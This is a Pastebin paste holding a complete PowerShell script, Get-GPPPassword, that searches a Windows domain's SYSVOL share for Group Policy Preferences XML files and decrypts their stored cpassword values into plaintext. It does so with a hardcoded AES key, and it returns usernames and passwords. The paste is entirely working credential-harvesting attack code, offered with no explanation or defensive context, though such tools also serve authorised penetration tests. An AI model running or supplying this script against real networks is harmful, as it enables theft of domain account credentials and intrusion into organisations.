Advertisement
Guest User

Untitled

a guest
Nov 1st, 2018
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.35 KB | None | 0 0
  1. function Get-GPPPassword {
  2.  
  3. [CmdletBinding()]
  4. Param (
  5. [ValidateNotNullOrEmpty()]
  6. [String]
  7. $Server = $Env:USERDNSDOMAIN
  8. )
  9. Set-StrictMode -Version 2
  10. function Get-DecryptedCpassword {
  11. [CmdletBinding()]
  12. Param (
  13. [string] $Cpassword
  14. )
  15.  
  16. try {
  17. $Mod = ($Cpassword.length % 4)
  18.  
  19. switch ($Mod) {
  20. '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
  21. '2' {$Cpassword += ('=' * (4 - $Mod))}
  22. '3' {$Cpassword += ('=' * (4 - $Mod))}
  23. }
  24.  
  25. $Base64Decoded = [Convert]::FromBase64String($Cpassword)
  26. $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
  27. [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
  28. 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
  29. $AesIV = New-Object Byte[]($AesObject.IV.Length)
  30. $AesObject.IV = $AesIV
  31. $AesObject.Key = $AesKey
  32. $DecryptorObject = $AesObject.CreateDecryptor()
  33. [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
  34.  
  35. return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
  36. }
  37.  
  38. catch {Write-Error $Error[0]}
  39. }
  40. function Get-GPPInnerFields {
  41. [CmdletBinding()]
  42. Param (
  43. $File
  44. )
  45.  
  46. try {
  47.  
  48. $Filename = Split-Path $File -Leaf
  49. [xml] $Xml = Get-Content ($File)
  50. $Cpassword = @()
  51. $UserName = @()
  52. $NewName = @()
  53. $Changed = @()
  54. $Password = @()
  55.  
  56. if ($Xml.innerxml -like "*cpassword*"){
  57.  
  58. Write-Verbose "Potential password in $File"
  59.  
  60. switch ($Filename) {
  61.  
  62. 'Groups.xml' {
  63. $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  64. $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  65. $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  66. $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  67. }
  68.  
  69. 'Services.xml' {
  70. $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  71. $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  72. $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  73. }
  74.  
  75. 'Scheduledtasks.xml' {
  76. $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  77. $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  78. $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  79. }
  80.  
  81. 'DataSources.xml' {
  82. $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  83. $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  84. $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  85. }
  86.  
  87. 'Printers.xml' {
  88. $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  89. $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  90. $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  91. }
  92.  
  93. 'Drives.xml' {
  94. $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  95. $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  96. $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
  97. }
  98. }
  99. }
  100.  
  101. foreach ($Pass in $Cpassword) {
  102. Write-Verbose "Decrypting $Pass"
  103. $DecryptedPassword = Get-DecryptedCpassword $Pass
  104. Write-Verbose "Decrypted a password of $DecryptedPassword"
  105. $Password += , $DecryptedPassword
  106. }
  107.  
  108. if (!($Password)) {$Password = '[BLANK]'}
  109. if (!($UserName)) {$UserName = '[BLANK]'}
  110. if (!($Changed)) {$Changed = '[BLANK]'}
  111. if (!($NewName)) {$NewName = '[BLANK]'}
  112.  
  113. $ObjectProperties = @{'Passwords' = $Password;
  114. 'UserNames' = $UserName;
  115. 'Changed' = $Changed;
  116. 'NewName' = $NewName;
  117. 'File' = $File}
  118.  
  119. $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
  120. Write-Verbose "The password is between {} and may be more than one value."
  121. if ($ResultsObject) {Return $ResultsObject}
  122. }
  123.  
  124. catch {Write-Error $Error[0]}
  125. }
  126.  
  127. try {
  128. if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
  129. throw 'Machine is not a domain member or User is not a member of the domain.'
  130. }
  131. Write-Verbose "Searching \\$Server\SYSVOL."
  132. $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
  133.  
  134. if ( -not $XMlFiles ) {throw 'No preference files found.'}
  135.  
  136. Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain data."
  137.  
  138. foreach ($File in $XMLFiles) {
  139. $Result = (Get-GppInnerFields $File.Fullname)
  140. Write-Output $Result
  141. }
  142. }
  143.  
  144. catch {Write-Error $Error[0]}
  145. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement